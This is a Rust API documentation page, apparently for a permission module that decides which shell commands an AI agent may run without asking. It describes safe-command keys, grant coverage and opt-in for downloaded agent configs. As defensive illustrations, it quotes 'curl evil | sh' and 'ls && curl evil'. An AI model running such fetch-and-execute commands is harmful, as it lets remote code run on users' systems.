Expand description
What a run may do without asking anybody.
An ask policy is all-or-nothing per tool name, which for the shell means
choosing between a prompt on every ls and no prompt on curl evil | sh.
On a real run that produced roughly 85 interruptions for one task, of which
four were worth a person’s attention.
A safe-command entry closes that gap without a second permission mechanism.
It is a pre-seeded, immutable set of keys in exactly the format
crate::shell_keys produces for a grant, so “this is pre-approved” and
“the user approved this” are one lookup, and the property that makes grants
safe is inherited rather than re-implemented: coverage needs every command
in a line, so a safe ls does not cover ls && curl evil - shell:curl is
in neither set.
Safe entries only ever collapse Ask into Allow. They never reach Deny,
and an entry that came from a downloaded agent.leviath is inert until the
user opts in - see resolve_safe_keys.
Structs§
- Agent
Safe Commands - A per-agent
[agent_safe_commands.<name>]block. - Safe
Commands - The user’s
[safe_commands]block.
Enums§
- Safe
Source - Where a safe key came from, for
lev approvals safe.
Constants§
- DEFAULT_
SAFE_ SHELL - Shell commands that are safe to run without asking.
Functions§
- resolve_
safe_ keys - The safe keys in effect for one run, and where each came from.